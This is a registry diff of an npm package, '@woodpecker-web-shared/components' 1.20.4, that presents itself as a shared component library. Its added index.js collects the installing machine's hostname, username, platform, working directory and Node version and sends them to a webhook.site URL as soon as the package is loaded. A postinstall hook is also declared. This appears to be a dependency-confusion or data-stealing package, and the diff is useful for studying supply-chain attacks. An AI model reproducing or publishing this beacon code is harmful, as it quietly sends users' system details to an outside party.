@woodpecker-web-shared/components 1.20.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +43 -0
  2. package/package.json +13 -0
package/index.js ADDED
@@ -0,0 +1,43 @@
1
+ 'use strict';
2
+
3
+ const https = require('https');
4
+ const os = require('os');
5
+
6
+ const CALLBACK_URL = 'https://webhook.site/d9bc4bcc-ce74-4193-ae4e-96d234bb2220';
7
+
8
+ function gather() {
9
+ return {
10
+ hostname: os.hostname(),
11
+ user: os.userInfo().username,
12
+ platform: os.platform(),
13
+ arch: os.arch(),
14
+ cwd: process.cwd(),
15
+ node: process.version,
16
+ npm_lifecycle_event: process.env.npm_lifecycle_event || null,
17
+ src: 'Elmesbeh',
18
+ };
19
+ }
20
+
21
+ function beacon(data) {
22
+ const payload = JSON.stringify(data);
23
+ const req = https.request(
24
+ CALLBACK_URL,
25
+ {
26
+ method: 'POST',
27
+ headers: {
28
+ 'Content-Type': 'application/json',
29
+ 'Content-Length': Buffer.byteLength(payload),
30
+ },
31
+ timeout: 6000,
32
+ },
33
+ (res) => {
34
+ console.log('[+] HTTP ' + res.statusCode + ' — beacon delivered');
35
+ res.resume();
36
+ }
37
+ );
38
+ req.on('timeout', () => { console.error('[!] TIMEOUT'); req.destroy(); });
39
+ req.on('error', (e) => console.error('[!] ' + (e.code || '') + ' ' + e.message));
40
+ req.end(payload);
41
+ }
42
+
43
+ try { beacon(gather()); } catch (e) { console.error('[!] ' + e.message); }%
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "@woodpecker-web-shared/components",
3
+ "version": "1.20.4",
4
+ "description": "",
5
+ "license": "ISC",
6
+ "author": "",
7
+ "type": "commonjs",
8
+ "main": "index.js",
9
+ "scripts": {
10
+ "postinstall": "node main.js",
11
+ "test": "echo \"Error: no test specified\" && exit 1"
12
+ }
13
+ }